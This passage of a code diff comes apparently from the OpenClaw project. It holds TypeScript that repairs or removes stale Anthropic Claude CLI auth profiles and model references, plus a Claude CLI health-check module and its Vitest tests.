}
|
||||
|
||||
function rewriteModelSelection(model: unknown): { value: unknown; changed: boolean } {
|
||||
if (typeof model === "string") {
|
||||
const converted = toAnthropicModelRef(model);
|
||||
return converted ? { value: converted, changed: true } : { value: model, changed: false };
|
||||
}
|
||||
if (!model || typeof model !== "object" || Array.isArray(model)) {
|
||||
return { value: model, changed: false };
|
||||
}
|
||||
|
||||
const current = model as Record<string, unknown>;
|
||||
const next: Record<string, unknown> = { ...current };
|
||||
let changed = false;
|
||||
|
||||
if (typeof current.primary === "string") {
|
||||
const converted = toAnthropicModelRef(current.primary);
|
||||
if (converted) {
|
||||
next.primary = converted;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
if (Array.isArray(current.fallbacks)) {
|
||||
const currentFallbacks = current.fallbacks as unknown[];
|
||||
const nextFallbacks = current.fallbacks.map((entry) =>
|
||||
typeof entry === "string" ? (toAnthropicModelRef(entry) ?? entry) : entry,
|
||||
);
|
||||
if (nextFallbacks.some((entry, index) => entry !== currentFallbacks[index])) {
|
||||
next.fallbacks = nextFallbacks;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
|
||||
return { value: changed ? next : model, changed };
|
||||
}
|
||||
|
||||
function rewriteModelMap(models: Record<string, unknown> | undefined): {
|
||||
value: Record<string, unknown> | undefined;
|
||||
changed: boolean;
|
||||
} {
|
||||
if (!models) {
|
||||
return { value: models, changed: false };
|
||||
}
|
||||
const next = { ...models };
|
||||
let changed = false;
|
||||
for (const [rawKey, value] of Object.entries(models)) {
|
||||
const converted = toAnthropicModelRef(rawKey);
|
||||
if (!converted) {
|
||||
continue;
|
||||
}
|
||||
if (!(converted in next)) {
|
||||
next[converted] = value;
|
||||
}
|
||||
delete next[rawKey];
|
||||
changed = true;
|
||||
}
|
||||
return { value: changed ? next : models, changed };
|
||||
}
|
||||
|
||||
function dedupeStrings(values: string[]): string[] {
|
||||
return [...new Set(values.filter((value) => value.trim().length > 0))];
|
||||
}
|
||||
|
||||
function rewriteOrderMap(
|
||||
order: Record<string, string[]> | undefined,
|
||||
replacementProfileId?: string,
|
||||
): { value: Record<string, string[]> | undefined; changed: boolean } {
|
||||
if (!order) {
|
||||
return { value: order, changed: false };
|
||||
}
|
||||
const next: Record<string, string[]> = {};
|
||||
let changed = false;
|
||||
|
||||
for (const [provider, profileIds] of Object.entries(order)) {
|
||||
const nextProvider = isClaudeCliProviderId(provider) ? ANTHROPIC_PROVIDER_ID : provider;
|
||||
if (nextProvider !== provider) {
|
||||
changed = true;
|
||||
}
|
||||
const rewritten = dedupeStrings(
|
||||
profileIds.flatMap((profileId) => {
|
||||
if (profileId !== CLAUDE_CLI_PROFILE_ID) {
|
||||
return [profileId];
|
||||
}
|
||||
changed = true;
|
||||
return replacementProfileId ? [replacementProfileId] : [];
|
||||
}),
|
||||
);
|
||||
if (rewritten.length === 0) {
|
||||
if (profileIds.length > 0) {
|
||||
changed = true;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (
|
||||
rewritten.length !== profileIds.length ||
|
||||
rewritten.some((id, index) => id !== profileIds[index])
|
||||
) {
|
||||
changed = true;
|
||||
}
|
||||
next[nextProvider] = next[nextProvider]
|
||||
? dedupeStrings([...next[nextProvider], ...rewritten])
|
||||
: rewritten;
|
||||
}
|
||||
|
||||
return {
|
||||
value: Object.keys(next).length > 0 ? next : undefined,
|
||||
changed,
|
||||
};
|
||||
}
|
||||
|
||||
function rewriteLastGoodMap(
|
||||
lastGood: Record<string, string> | undefined,
|
||||
replacementProfileId?: string,
|
||||
): { value: Record<string, string> | undefined; changed: boolean } {
|
||||
if (!lastGood) {
|
||||
return { value: lastGood, changed: false };
|
||||
}
|
||||
const next: Record<string, string> = {};
|
||||
let changed = false;
|
||||
|
||||
for (const [provider, profileId] of Object.entries(lastGood)) {
|
||||
const nextProvider = isClaudeCliProviderId(provider) ? ANTHROPIC_PROVIDER_ID : provider;
|
||||
const nextProfileId = profileId === CLAUDE_CLI_PROFILE_ID ? replacementProfileId : profileId;
|
||||
if (nextProvider !== provider || nextProfileId !== profileId) {
|
||||
changed = true;
|
||||
}
|
||||
if (!nextProfileId) {
|
||||
continue;
|
||||
}
|
||||
next[nextProvider] ??= nextProfileId;
|
||||
}
|
||||
|
||||
return {
|
||||
value: Object.keys(next).length > 0 ? next : undefined,
|
||||
changed,
|
||||
};
|
||||
}
|
||||
|
||||
function rewriteUsageStatsMap(
|
||||
usageStats: Record<string, ProfileUsageStats> | undefined,
|
||||
replacementProfileId?: string,
|
||||
): { value: Record<string, ProfileUsageStats> | undefined; changed: boolean } {
|
||||
if (!usageStats) {
|
||||
return { value: usageStats, changed: false };
|
||||
}
|
||||
const next = { ...usageStats };
|
||||
const stale = next[CLAUDE_CLI_PROFILE_ID];
|
||||
if (!stale) {
|
||||
return { value: usageStats, changed: false };
|
||||
}
|
||||
delete next[CLAUDE_CLI_PROFILE_ID];
|
||||
if (replacementProfileId && !next[replacementProfileId]) {
|
||||
next[replacementProfileId] = stale;
|
||||
}
|
||||
return {
|
||||
value: Object.keys(next).length > 0 ? next : undefined,
|
||||
changed: true,
|
||||
};
|
||||
}
|
||||
|
||||
function rewriteAuthProfilesConfig(
|
||||
profiles: Record<string, AuthProfileConfig> | undefined,
|
||||
replacementProfileId?: string,
|
||||
replacementProfileConfig?: AuthProfileConfig,
|
||||
): { value: Record<string, AuthProfileConfig> | undefined; changed: boolean } {
|
||||
if (!profiles) {
|
||||
return { value: profiles, changed: false };
|
||||
}
|
||||
const next: Record<string, AuthProfileConfig> = {};
|
||||
let changed = false;
|
||||
|
||||
for (const [profileId, profile] of Object.entries(profiles)) {
|
||||
if (profileId === CLAUDE_CLI_PROFILE_ID || isClaudeCliProviderId(profile.provider)) {
|
||||
changed = true;
|
||||
continue;
|
||||
}
|
||||
next[profileId] = profile;
|
||||
}
|
||||
|
||||
if (replacementProfileId && replacementProfileConfig && !next[replacementProfileId]) {
|
||||
next[replacementProfileId] = replacementProfileConfig;
|
||||
changed = true;
|
||||
}
|
||||
|
||||
return {
|
||||
value: Object.keys(next).length > 0 ? next : undefined,
|
||||
changed,
|
||||
};
|
||||
}
|
||||
|
||||
function rewriteAnthropicClaudeCliConfig(params: {
|
||||
cfg: OpenClawConfig;
|
||||
replacementProfileId?: string;
|
||||
replacementProfileConfig?: AuthProfileConfig;
|
||||
}): { next: OpenClawConfig; changes: string[] } {
|
||||
const changes: string[] = [];
|
||||
const rewrittenProfiles = rewriteAuthProfilesConfig(
|
||||
params.cfg.auth?.profiles,
|
||||
params.replacementProfileId,
|
||||
params.replacementProfileConfig,
|
||||
);
|
||||
const rewrittenOrder = rewriteOrderMap(params.cfg.auth?.order, params.replacementProfileId);
|
||||
|
||||
const defaults = params.cfg.agents?.defaults;
|
||||
const rewrittenModel = rewriteModelSelection(defaults?.model);
|
||||
const rewrittenModels = rewriteModelMap(defaults?.models);
|
||||
|
||||
let nextCliBackends = defaults?.cliBackends;
|
||||
let cliBackendsChanged = false;
|
||||
if (nextCliBackends?.[CLAUDE_CLI_PROVIDER_ID]) {
|
||||
const clone = { ...nextCliBackends };
|
||||
delete clone[CLAUDE_CLI_PROVIDER_ID];
|
||||
nextCliBackends = Object.keys(clone).length > 0 ? clone : undefined;
|
||||
cliBackendsChanged = true;
|
||||
}
|
||||
|
||||
if (rewrittenProfiles.changed) {
|
||||
changes.push("removed stale Anthropic Claude CLI auth-profile config");
|
||||
}
|
||||
if (rewrittenOrder.changed) {
|
||||
changes.push("rewrote auth-order references away from Claude CLI");
|
||||
}
|
||||
if (rewrittenModel.changed || rewrittenModels.changed) {
|
||||
changes.push("rewrote claude-cli model refs back to anthropic/*");
|
||||
}
|
||||
if (cliBackendsChanged) {
|
||||
changes.push("removed agents.defaults.cliBackends.claude-cli");
|
||||
}
|
||||
|
||||
if (changes.length === 0) {
|
||||
return { next: params.cfg, changes };
|
||||
}
|
||||
|
||||
const nextProfiles = rewrittenProfiles.value;
|
||||
const nextOrder = rewrittenOrder.value;
|
||||
const nextModel = rewrittenModel.value as AgentDefaultsConfig["model"];
|
||||
const nextModels = rewrittenModels.value as AgentDefaultsConfig["models"];
|
||||
const nextCliBackendsTyped: AgentDefaultsConfig["cliBackends"] = nextCliBackends;
|
||||
|
||||
const nextAuth =
|
||||
nextProfiles || nextOrder || params.cfg.auth?.cooldowns
|
||||
? {
|
||||
...params.cfg.auth,
|
||||
...(nextProfiles ? { profiles: nextProfiles } : {}),
|
||||
...(nextProfiles === undefined ? { profiles: undefined } : {}),
|
||||
...(nextOrder ? { order: nextOrder } : {}),
|
||||
...(nextOrder === undefined ? { order: undefined } : {}),
|
||||
}
|
||||
: undefined;
|
||||
|
||||
const nextDefaults =
|
||||
rewrittenModel.changed || rewrittenModels.changed || cliBackendsChanged
|
||||
? {
|
||||
...defaults,
|
||||
...(rewrittenModel.changed ? { model: nextModel } : {}),
|
||||
...(rewrittenModels.changed ? { models: nextModels } : {}),
|
||||
...(cliBackendsChanged ? { cliBackends: nextCliBackendsTyped } : {}),
|
||||
}
|
||||
: defaults;
|
||||
|
||||
const nextAgents =
|
||||
nextDefaults && nextDefaults !== defaults
|
||||
? {
|
||||
...params.cfg.agents,
|
||||
defaults: nextDefaults,
|
||||
}
|
||||
: params.cfg.agents;
|
||||
|
||||
return {
|
||||
next: {
|
||||
...params.cfg,
|
||||
...(nextAuth ? { auth: nextAuth } : { auth: undefined }),
|
||||
...(nextAgents ? { agents: nextAgents } : { agents: params.cfg.agents }),
|
||||
},
|
||||
changes,
|
||||
};
|
||||
}
|
||||
|
||||
type StoreRepairResult = {
|
||||
changed: boolean;
|
||||
converted: boolean;
|
||||
keptExistingTarget: boolean;
|
||||
replacementProfileId?: string;
|
||||
};
|
||||
|
||||
async function maybeRepairAnthropicClaudeCliStore(params: {
|
||||
replacementProfileId?: string;
|
||||
replacementCredential?: AuthProfileCredential;
|
||||
}): Promise<StoreRepairResult> {
|
||||
let changed = false;
|
||||
let converted = false;
|
||||
let keptExistingTarget = false;
|
||||
|
||||
await updateAuthProfileStoreWithLock({
|
||||
updater: (nextStore) => {
|
||||
let mutated = false;
|
||||
const staleCredential = nextStore.profiles[CLAUDE_CLI_PROFILE_ID];
|
||||
if (staleCredential && isClaudeCliProviderId(staleCredential.provider)) {
|
||||
if (params.replacementProfileId && params.replacementCredential) {
|
||||
if (nextStore.profiles[params.replacementProfileId]) {
|
||||
keptExistingTarget = true;
|
||||
} else {
|
||||
nextStore.profiles[params.replacementProfileId] = params.replacementCredential;
|
||||
converted = true;
|
||||
mutated = true;
|
||||
}
|
||||
}
|
||||
delete nextStore.profiles[CLAUDE_CLI_PROFILE_ID];
|
||||
mutated = true;
|
||||
}
|
||||
|
||||
const rewrittenOrder = rewriteOrderMap(nextStore.order, params.replacementProfileId);
|
||||
if (rewrittenOrder.changed) {
|
||||
nextStore.order = rewrittenOrder.value;
|
||||
mutated = true;
|
||||
}
|
||||
|
||||
const rewrittenLastGood = rewriteLastGoodMap(nextStore.lastGood, params.replacementProfileId);
|
||||
if (rewrittenLastGood.changed) {
|
||||
nextStore.lastGood = rewrittenLastGood.value;
|
||||
mutated = true;
|
||||
}
|
||||
|
||||
const rewrittenUsageStats = rewriteUsageStatsMap(
|
||||
nextStore.usageStats,
|
||||
params.replacementProfileId,
|
||||
);
|
||||
if (rewrittenUsageStats.changed) {
|
||||
nextStore.usageStats = rewrittenUsageStats.value;
|
||||
mutated = true;
|
||||
}
|
||||
|
||||
if (mutated) {
|
||||
changed = true;
|
||||
}
|
||||
return mutated;
|
||||
},
|
||||
});
|
||||
|
||||
return {
|
||||
changed,
|
||||
converted,
|
||||
keptExistingTarget,
|
||||
replacementProfileId: params.replacementProfileId,
|
||||
};
|
||||
}
|
||||
|
||||
function hasStaleAnthropicClaudeCliConfig(cfg: OpenClawConfig): boolean {
|
||||
if (cfg.auth?.profiles) {
|
||||
for (const [profileId, profile] of Object.entries(cfg.auth.profiles)) {
|
||||
if (profileId === CLAUDE_CLI_PROFILE_ID || isClaudeCliProviderId(profile.provider)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (
|
||||
Object.values(cfg.auth?.order ?? {}).some((profileIds) =>
|
||||
profileIds.includes(CLAUDE_CLI_PROFILE_ID),
|
||||
)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
const defaults = cfg.agents?.defaults;
|
||||
if (
|
||||
(typeof defaults?.model === "string" &&
|
||||
defaults.model.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`)) ||
|
||||
(defaults?.model &&
|
||||
typeof defaults.model === "object" &&
|
||||
!Array.isArray(defaults.model) &&
|
||||
((typeof defaults.model.primary === "string" &&
|
||||
defaults.model.primary.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`)) ||
|
||||
defaults.model.fallbacks?.some(
|
||||
(entry) => typeof entry === "string" && entry.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`),
|
||||
)))
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
if (
|
||||
Object.keys(defaults?.models ?? {}).some((modelId) =>
|
||||
modelId.startsWith(`${CLAUDE_CLI_PROVIDER_ID}/`),
|
||||
)
|
||||
) {
|
||||
return true;
|
||||
}
|
||||
return Boolean(defaults?.cliBackends?.[CLAUDE_CLI_PROVIDER_ID]);
|
||||
}
|
||||
|
||||
export async function maybeRepairRemovedAnthropicClaudeCliState(
|
||||
cfg: OpenClawConfig,
|
||||
prompter: DoctorPrompter,
|
||||
): Promise<OpenClawConfig> {
|
||||
const store = ensureAuthProfileStore(undefined, { allowKeychainPrompt: false });
|
||||
const staleCredential = store.profiles[CLAUDE_CLI_PROFILE_ID];
|
||||
const staleProfileConfig =
|
||||
cfg.auth?.profiles?.[CLAUDE_CLI_PROFILE_ID] ??
|
||||
Object.values(cfg.auth?.profiles ?? {}).find((profile) =>
|
||||
isClaudeCliProviderId(profile.provider),
|
||||
);
|
||||
const replacementCredential = buildConvertedCredential(staleCredential);
|
||||
const replacementProfileId = replacementCredential
|
||||
? resolveTargetProfileId({
|
||||
credential: replacementCredential,
|
||||
profileConfig: staleProfileConfig,
|
||||
})
|
||||
: undefined;
|
||||
const replacementProfileConfig = buildConvertedProfileConfig({
|
||||
credential: replacementCredential,
|
||||
profileConfig: staleProfileConfig,
|
||||
});
|
||||
|
||||
const staleConfigDetected = hasStaleAnthropicClaudeCliConfig(cfg);
|
||||
const staleStoreDetected = Boolean(replacementCredential);
|
||||
if (!staleConfigDetected && !staleStoreDetected) {
|
||||
return cfg;
|
||||
}
|
||||
|
||||
const summaryLines = [
|
||||
"Stale Anthropic Claude CLI state detected.",
|
||||
staleStoreDetected
|
||||
? `- stored credential bytes found under ${CLAUDE_CLI_PROFILE_ID}`
|
||||
: `- no stored credential bytes found for ${CLAUDE_CLI_PROFILE_ID}`,
|
||||
"- Claude CLI Anthropic auth is no longer a supported OpenClaw path",
|
||||
staleStoreDetected && replacementProfileId
|
||||
? `- doctor can convert the stored credential to ${replacementProfileId}`
|
||||
: "- doctor can only remove stale config; use an Anthropic API key or setup-token afterward",
|
||||
];
|
||||
note(summaryLines.join("\n"), "Auth profiles");
|
||||
|
||||
const shouldRepair = await prompter.confirmAutoFix({
|
||||
message: staleStoreDetected
|
||||
? "Convert stale Anthropic Claude CLI auth back to Anthropic profiles and remove Claude CLI config now?"
|
||||
: "Remove stale Anthropic Claude CLI config now? No stored credential bytes were found to convert.",
|
||||
initialValue: true,
|
||||
});
|
||||
if (!shouldRepair) {
|
||||
return cfg;
|
||||
}
|
||||
|
||||
const storeRepair = await maybeRepairAnthropicClaudeCliStore({
|
||||
replacementProfileId,
|
||||
replacementCredential,
|
||||
});
|
||||
const rewrittenConfig = rewriteAnthropicClaudeCliConfig({
|
||||
cfg,
|
||||
replacementProfileId:
|
||||
storeRepair.converted || storeRepair.keptExistingTarget ? replacementProfileId : undefined,
|
||||
replacementProfileConfig:
|
||||
storeRepair.converted || storeRepair.keptExistingTarget
|
||||
? replacementProfileConfig
|
||||
: undefined,
|
||||
});
|
||||
|
||||
const changes: string[] = [];
|
||||
if (storeRepair.converted && replacementProfileId) {
|
||||
changes.push(`converted ${CLAUDE_CLI_PROFILE_ID} -> ${replacementProfileId}`);
|
||||
} else if (storeRepair.keptExistingTarget && replacementProfileId) {
|
||||
changes.push(`removed ${CLAUDE_CLI_PROFILE_ID} and kept existing ${replacementProfileId}`);
|
||||
} else if (staleStoreDetected) {
|
||||
changes.push(`removed stale stored profile ${CLAUDE_CLI_PROFILE_ID}`);
|
||||
}
|
||||
changes.push(...rewrittenConfig.changes);
|
||||
|
||||
if (changes.length > 0) {
|
||||
note(changes.map((line) => `- ${line}`).join("\n"), "Doctor changes");
|
||||
}
|
||||
if (!storeRepair.converted) {
|
||||
note(
|
||||
[
|
||||
"Anthropic Claude CLI state was removed, but no subscription credential was reconstructed.",
|
||||
"Next step: openclaw models auth login --provider anthropic --method api-key --set-default",
|
||||
"Fallback: openclaw models auth setup-token --provider anthropic",
|
||||
].join("\n"),
|
||||
"Auth profiles",
|
||||
);
|
||||
}
|
||||
|
||||
return rewrittenConfig.next;
|
||||
}
|
||||
@@ -70,7 +70,7 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
|
||||
{
|
||||
version: 1,
|
||||
profiles: {
|
||||
"anthropic:removed-cli": {
|
||||
"anthropic:claude-cli": {
|
||||
type: "oauth",
|
||||
provider: "anthropic",
|
||||
access: "token-a",
|
||||
@@ -104,7 +104,7 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
|
||||
id: "anthropic",
|
||||
label: "Anthropic",
|
||||
auth: [],
|
||||
deprecatedProfileIds: ["anthropic:removed-cli"],
|
||||
deprecatedProfileIds: ["anthropic:claude-cli"],
|
||||
},
|
||||
{
|
||||
id: "openai-codex",
|
||||
@@ -117,12 +117,12 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
|
||||
const cfg = {
|
||||
auth: {
|
||||
profiles: {
|
||||
"anthropic:removed-cli": { provider: "anthropic", mode: "oauth" },
|
||||
"anthropic:claude-cli": { provider: "anthropic", mode: "oauth" },
|
||||
"openai-codex:codex-cli": { provider: "openai-codex", mode: "oauth" },
|
||||
"openai-codex:default": { provider: "openai-codex", mode: "oauth" },
|
||||
},
|
||||
order: {
|
||||
anthropic: ["anthropic:removed-cli"],
|
||||
anthropic: ["anthropic:claude-cli"],
|
||||
"openai-codex": ["openai-codex:codex-cli", "openai-codex:default"],
|
||||
},
|
||||
},
|
||||
@@ -136,11 +136,11 @@ describe("maybeRemoveDeprecatedCliAuthProfiles", () => {
|
||||
const raw = JSON.parse(fs.readFileSync(authPath, "utf8")) as {
|
||||
profiles?: Record<string, unknown>;
|
||||
};
|
||||
expect(raw.profiles?.["anthropic:removed-cli"]).toBeUndefined();
|
||||
expect(raw.profiles?.["anthropic:claude-cli"]).toBeUndefined();
|
||||
expect(raw.profiles?.["openai-codex:codex-cli"]).toBeUndefined();
|
||||
expect(raw.profiles?.["openai-codex:default"]).toBeDefined();
|
||||
|
||||
expect(next.auth?.profiles?.["anthropic:removed-cli"]).toBeUndefined();
|
||||
expect(next.auth?.profiles?.["anthropic:claude-cli"]).toBeUndefined();
|
||||
expect(next.auth?.profiles?.["openai-codex:codex-cli"]).toBeUndefined();
|
||||
expect(next.auth?.profiles?.["openai-codex:default"]).toBeDefined();
|
||||
expect(next.auth?.order?.anthropic).toBeUndefined();
|
||||
|
||||
178
src/commands/doctor-claude-cli.test.ts
Normal file
178
src/commands/doctor-claude-cli.test.ts
Normal file
@@ -0,0 +1,178 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { CLAUDE_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
|
||||
import type { AuthProfileStore } from "../agents/auth-profiles/types.js";
|
||||
import {
|
||||
noteClaudeCliHealth,
|
||||
resolveClaudeCliProjectDirForWorkspace,
|
||||
} from "./doctor-claude-cli.js";
|
||||
|
||||
function createStore(profiles: AuthProfileStore["profiles"] = {}): AuthProfileStore {
|
||||
return {
|
||||
version: 1,
|
||||
profiles,
|
||||
};
|
||||
}
|
||||
|
||||
async function withTempHome<T>(
|
||||
run: (params: { homeDir: string; workspaceDir: string }) => Promise<T> | T,
|
||||
): Promise<T> {
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-doctor-claude-cli-"));
|
||||
const homeDir = path.join(root, "home");
|
||||
const workspaceDir = path.join(root, "workspace");
|
||||
fs.mkdirSync(homeDir, { recursive: true });
|
||||
fs.mkdirSync(workspaceDir, { recursive: true });
|
||||
try {
|
||||
return await run({ homeDir, workspaceDir });
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
}
|
||||
|
||||
describe("resolveClaudeCliProjectDirForWorkspace", () => {
|
||||
it("matches Claude's sanitized workspace project dir shape", () => {
|
||||
expect(
|
||||
resolveClaudeCliProjectDirForWorkspace({
|
||||
workspaceDir: "/Users/vincentkoc/GIT/_Perso/openclaw/.openclaw/workspace",
|
||||
homeDir: "/Users/vincentkoc",
|
||||
}),
|
||||
).toBe(
|
||||
"/Users/vincentkoc/.claude/projects/-Users-vincentkoc-GIT--Perso-openclaw--openclaw-workspace",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("noteClaudeCliHealth", () => {
|
||||
afterEach(() => {
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it("stays quiet when Claude CLI is not configured or detected", () => {
|
||||
const noteFn = vi.fn();
|
||||
noteClaudeCliHealth(
|
||||
{},
|
||||
{
|
||||
noteFn,
|
||||
store: createStore(),
|
||||
readClaudeCliCredentials: () => null,
|
||||
},
|
||||
);
|
||||
expect(noteFn).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("reports a healthy claude-cli setup with the resolved Claude project dir", async () => {
|
||||
await withTempHome(({ homeDir, workspaceDir }) => {
|
||||
const projectDir = resolveClaudeCliProjectDirForWorkspace({ workspaceDir, homeDir });
|
||||
fs.mkdirSync(projectDir, { recursive: true });
|
||||
|
||||
const noteFn = vi.fn();
|
||||
noteClaudeCliHealth(
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6" },
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
homeDir,
|
||||
workspaceDir,
|
||||
noteFn,
|
||||
store: createStore({
|
||||
[CLAUDE_CLI_PROFILE_ID]: {
|
||||
type: "oauth",
|
||||
provider: "claude-cli",
|
||||
access: "token-a",
|
||||
refresh: "token-r",
|
||||
expires: Date.now() + 60_000,
|
||||
},
|
||||
}),
|
||||
readClaudeCliCredentials: () => ({
|
||||
type: "oauth",
|
||||
expires: Date.now() + 60_000,
|
||||
}),
|
||||
resolveCommandPath: () => "/opt/homebrew/bin/claude",
|
||||
},
|
||||
);
|
||||
|
||||
expect(noteFn).toHaveBeenCalledTimes(1);
|
||||
expect(noteFn.mock.calls[0]?.[1]).toBe("Claude CLI");
|
||||
const body = String(noteFn.mock.calls[0]?.[0]);
|
||||
expect(body).toContain("Binary: /opt/homebrew/bin/claude.");
|
||||
expect(body).toContain("Headless Claude auth: OK (oauth).");
|
||||
expect(body).toContain(
|
||||
`OpenClaw auth profile: ${CLAUDE_CLI_PROFILE_ID} (provider claude-cli).`,
|
||||
);
|
||||
expect(body).toContain("Workspace:");
|
||||
expect(body).toContain("(writable).");
|
||||
expect(body).toContain("Claude project dir:");
|
||||
expect(body).toContain("(present).");
|
||||
});
|
||||
});
|
||||
|
||||
it("explains the exact bad wiring when the claude-cli auth profile is missing", async () => {
|
||||
await withTempHome(({ homeDir, workspaceDir }) => {
|
||||
const noteFn = vi.fn();
|
||||
noteClaudeCliHealth(
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6" },
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
homeDir,
|
||||
workspaceDir,
|
||||
noteFn,
|
||||
store: createStore(),
|
||||
readClaudeCliCredentials: () => ({
|
||||
type: "oauth",
|
||||
expires: Date.now() + 60_000,
|
||||
}),
|
||||
resolveCommandPath: () => "/opt/homebrew/bin/claude",
|
||||
},
|
||||
);
|
||||
|
||||
const body = String(noteFn.mock.calls[0]?.[0]);
|
||||
expect(body).toContain("Headless Claude auth: OK (oauth).");
|
||||
expect(body).toContain(`OpenClaw auth profile: missing (${CLAUDE_CLI_PROFILE_ID})`);
|
||||
expect(body).toContain(
|
||||
"openclaw models auth login --provider anthropic --method cli --set-default",
|
||||
);
|
||||
expect(body).toContain(
|
||||
"not created yet; it appears after the first Claude CLI turn in this workspace",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
it("warns when Claude auth is not readable headlessly", async () => {
|
||||
await withTempHome(({ homeDir, workspaceDir }) => {
|
||||
const noteFn = vi.fn();
|
||||
noteClaudeCliHealth(
|
||||
{
|
||||
agents: {
|
||||
defaults: {
|
||||
model: { primary: "claude-cli/claude-sonnet-4-6" },
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
homeDir,
|
||||
workspaceDir,
|
||||
noteFn,
|
||||
store: createStore(),
|
||||
readClaudeCliCredentials: () => null,
|
||||
resolveCommandPath: () => undefined,
|
||||
},
|
||||
);
|
||||
|
||||
const body = String(noteFn.mock.calls[0]?.[0]);
|
||||
expect(body).toContain('Binary: command "claude" was not found on PATH.');
|
||||
expect(body).toContain("Headless Claude auth: unavailable without interactive prompting.");
|
||||
expect(body).toContain("claude auth login");
|
||||
});
|
||||
});
|
||||
});
|
||||
301
src/commands/doctor-claude-cli.ts
Normal file
301
src/commands/doctor-claude-cli.ts
Normal file
@@ -0,0 +1,301 @@
|
||||
import fs from "node:fs";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js";
|
||||
import { CLAUDE_CLI_PROFILE_ID } from "../agents/auth-profiles/constants.js";
|
||||
import { resolveAuthStorePathForDisplay } from "../agents/auth-profiles/paths.js";
|
||||
import { ensureAuthProfileStore } from "../agents/auth-profiles/store.js";
|
||||
import type {
|
||||
AuthProfileStore,
|
||||
OAuthCredential,
|
||||
TokenCredential,
|
||||
} from "../agents/auth-profiles/types.js";
|
||||
import { readClaudeCliCredentialsCached } from "../agents/cli-credentials.js";
|
||||
import { formatCliCommand } from "../cli/command-format.js";
|
||||
import type { OpenClawConfig } from "../config/config.js";
|
||||
import { resolveExecutablePath } from "../infra/executable-path.js";
|
||||
import { note } from "../terminal/note.js";
|
||||
import { shortenHomePath } from "../utils.js";
|
||||
|
||||
const CLAUDE_CLI_PROVIDER = "claude-cli";
|
||||
const CLAUDE_PROJECTS_DIRNAME = path.join(".claude", "projects");
|
||||
const MAX_SANITIZED_PROJECT_LENGTH = 200;
|
||||
|
||||
type ClaudeCliReadableCredential =
|
||||
| Pick<OAuthCredential, "type" | "expires">
|
||||
| Pick<TokenCredential, "type" | "expires">;
|
||||
|
||||
type ClaudeCliDirHealth = "present" | "missing" | "not_directory" | "unreadable" | "readonly";
|
||||
|
||||
function resolveConfiguredPrimaryModelRef(
|
||||
value: string | { primary?: string; fallbacks?: string[] } | undefined,
|
||||
): string | undefined {
|
||||
if (typeof value === "string") {
|
||||
const trimmed = value.trim();
|
||||
return trimmed || undefined;
|
||||
}
|
||||
if (!value || typeof value !== "object" || Array.isArray(value)) {
|
||||
return undefined;
|
||||
}
|
||||
const primary = value.primary;
|
||||
if (typeof primary !== "string") {
|
||||
return undefined;
|
||||
}
|
||||
const trimmed = primary.trim();
|
||||
return trimmed || undefined;
|
||||
}
|
||||
|
||||
function usesClaudeCliModelSelection(cfg: OpenClawConfig): boolean {
|
||||
const primary = resolveConfiguredPrimaryModelRef(
|
||||
cfg.agents?.defaults?.model as string | { primary?: string; fallbacks?: string[] } | undefined,
|
||||
);
|
||||
if (primary?.trim().toLowerCase().startsWith(`${CLAUDE_CLI_PROVIDER}/`)) {
|
||||
return true;
|
||||
}
|
||||
return Object.keys(cfg.agents?.defaults?.models ?? {}).some((key) =>
|
||||
key.trim().toLowerCase().startsWith(`${CLAUDE_CLI_PROVIDER}/`),
|
||||
);
|
||||
}
|
||||
|
||||
function hasClaudeCliConfigSignals(cfg: OpenClawConfig): boolean {
|
||||
if (usesClaudeCliModelSelection(cfg)) {
|
||||
return true;
|
||||
}
|
||||
const backendConfig = cfg.agents?.defaults?.cliBackends ?? {};
|
||||
if (Object.keys(backendConfig).some((key) => key.trim().toLowerCase() === CLAUDE_CLI_PROVIDER)) {
|
||||
return true;
|
||||
}
|
||||
return Object.values(cfg.auth?.profiles ?? {}).some(
|
||||
(profile) => profile?.provider === CLAUDE_CLI_PROVIDER,
|
||||
);
|
||||
}
|
||||
|
||||
function hasClaudeCliStoreSignals(store: AuthProfileStore): boolean {
|
||||
if (store.profiles[CLAUDE_CLI_PROFILE_ID]) {
|
||||
return true;
|
||||
}
|
||||
return Object.values(store.profiles).some((profile) => profile?.provider === CLAUDE_CLI_PROVIDER);
|
||||
}
|
||||
|
||||
function resolveClaudeCliCommand(cfg: OpenClawConfig): string {
|
||||
const configured = cfg.agents?.defaults?.cliBackends ?? {};
|
||||
for (const [key, entry] of Object.entries(configured)) {
|
||||
if (key.trim().toLowerCase() !== CLAUDE_CLI_PROVIDER) {
|
||||
continue;
|
||||
}
|
||||
const command = entry?.command?.trim();
|
||||
if (command) {
|
||||
return command;
|
||||
}
|
||||
}
|
||||
return "claude";
|
||||
}
|
||||
|
||||
